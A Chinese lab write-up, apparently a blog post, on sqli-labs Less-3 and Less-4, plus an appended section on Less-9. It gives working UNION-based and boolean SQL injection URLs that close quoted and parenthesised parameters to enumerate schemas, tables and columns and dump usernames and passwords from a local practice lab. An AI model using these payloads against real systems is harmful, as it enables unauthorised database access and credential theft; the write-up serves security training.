sqli-labs Less-3~Less-4

本文详细介绍了sqli-labs中Less-3和Less-4两个基于错误的SQL注入漏洞。通过错误信息,作者展示了如何利用单引号和双引号闭合来构造注入语句,从而获取数据库信息,包括爆库、爆表、爆字段和爆数据。这些例子展示了SQL注入的基本步骤和技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Less-3 Error based – Single quotes with twist – string(基于错误-带括号的单引号-字符串)

标题已经很明确了,但是测试测试,必须试一试。
?id=1
在这里插入图片描述

?id=1’
在这里插入图片描述

看见报错多的一个括号
?id=1"
在这里插入图片描述

?id=1’)
在这里插入图片描述

报错的时候,查询语句为:
Select login_name,select password from table where id=(‘1’)
这时候就要用到源码来看看了,git bash连接到主机,直接查看源码
在这里插入图片描述

这很对,注入点正确。
那么继续爆数据库
http://192.168.229.144/sqli-labs/Less-3/?id=-1’) union select 1,group_concat(schema_name),3 from information_schema.schemata --+
在这里插入图片描述

爆表
http://192.168.229.144/sqli-labs/Less-3/?id=-1’) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘pikachu’ --+
在这里插入图片描述

爆字段
http://192.168.229.144/sqli-labs/Less-3/?id=-1’) union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=‘pikachu’ --+
在这里插入图片描述

爆数据
http://192.168.229.144/sqli-labs/Less-3/?id=-1’) union select 1,group_concat(username),group_concat(password) from users --+
在这里插入图片描述

还有多说一种,爆当前(也就是sqli-labs)的数据库的信息
http://192.168.229.144/sqli-labs/Less-3/?id=-1’) union select 1,2,concat_ws(’-’,user(),version(),database()) --+
在这里插入图片描述

Less-4 Error based – Double Quotes – String (基于错误-双引号-字符串)

同样,还是尝试将?id=1 ?id=1’ ?id=1" 分别添加到url,发现?id=1"报错,说明是字符型注入
在这里插入图片描述

还是查看源码
在这里插入图片描述

id = ‘"’.$id.’"’;
sql=“SELECT * FROM users WHERE id=(id) LIMIT 0,1”;
这样形成的语句就是:select * from users where id=(“id”) limit 0,1"
那么?id=1"),这样即闭合了前面,又闭合了后面
在这里插入图片描述

注入成功,猜字段数,爆数据库,爆表名,爆字段,爆数据与Less-3相同,只需要将?id=1’)变为?id=1")注入。

小总结:
从Less-1到Less-4都是基于错误的sql注入,切入点都是闭合问题,且都是通过回显进行注入。
Less-1: $sql="SELECT * FROM users WHERE id=‘id’ LIMIT 0,1”;
Less-2: $sql=“SELECT * FROM users WHERE id=id LIMIT 0,1”;
Less-3: $sql=“SELECT * FROM users WHERE id=(‘id’) LIMIT 0,1”;
Less-4: $id = '”’ . $id . '”’;sql=“SELECT * FROM users WHERE id=(id) LIMIT 0,1”;

### SQL注入实验室 (sqli-labs) Less-9 实验指导 #### 测试环境搭建 为了确保安全测试,建议在一个受控环境中部署 sqli-labs。可以使用虚拟机或 Docker 容器来运行该应用程序。 #### 实验目标 Less-9 是基于布尔盲注的SQL注入漏洞练习。通过向服务器发送特定构造的查询字符串,验证是否存在SQL注入漏洞并尝试获取隐藏数据。 #### 注入点分析 入口位于 URL 参数 `id` 中。当访问页面时,会显示一条新闻详情。如果存在注入,则可以通过修改此参数来进行攻击[^1]。 #### 基础检测方法 首先确认是否能够利用单引号 `'` 来终止原有查询语句,并附加新的逻辑条件: - 正常请求:`http://localhost/sqli-labs/Less-9/?id=1` - 尝试闭合原查询:`http://localhost/sqli-labs/Less-9/?id=1' AND '1'='1` 若两次响应相同则说明可能存在注入风险;反之亦然。 #### 进一步探索 一旦确定了潜在的安全隐患之后,就可以继续深入挖掘更多细节。对于布尔型盲注来说,通常采用二分法或其他枚举技术逐步推断数据库结构及内容。 例如: ```sql http://localhost/sqli-labs/Less-9/?id=-1' UNION SELECT 1,2,version(),4,5 -- ``` 这条命令试图联合选择 MySQL 版本信息作为第二条记录返回给客户端展示出来。注意这里 `-1` 的作用是为了使第一条原始SELECT语句不匹配任何行从而不影响最终输出效果。 #### 防护措施探讨 针对此类漏洞的有效防御手段包括但不限于预编译语句、输入校验以及最小权限原则的应用程序设计模式等。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值